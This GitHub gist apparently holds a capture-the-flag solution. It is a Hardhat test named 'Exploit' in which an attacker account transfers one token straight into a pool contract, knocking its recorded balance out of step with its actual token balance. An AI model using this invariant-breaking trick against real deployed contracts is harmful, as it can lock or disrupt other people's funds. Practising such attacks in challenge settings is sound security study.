Last active
July 9, 2022 00:15
-
-
Save JuanXavier/b1cf636be734f34b70cfd0085d33504d to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| it('Exploit', async function () { | |
| await this.token.connect(attacker).transfer(this.pool.address, 1) | |
| console.log(' POOL BALANCE', String(await this.token.balanceOf(this.pool.address))) | |
| console.log('BALANCE BEFORE', String(await this.pool.poolBalance())) | |
| }) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment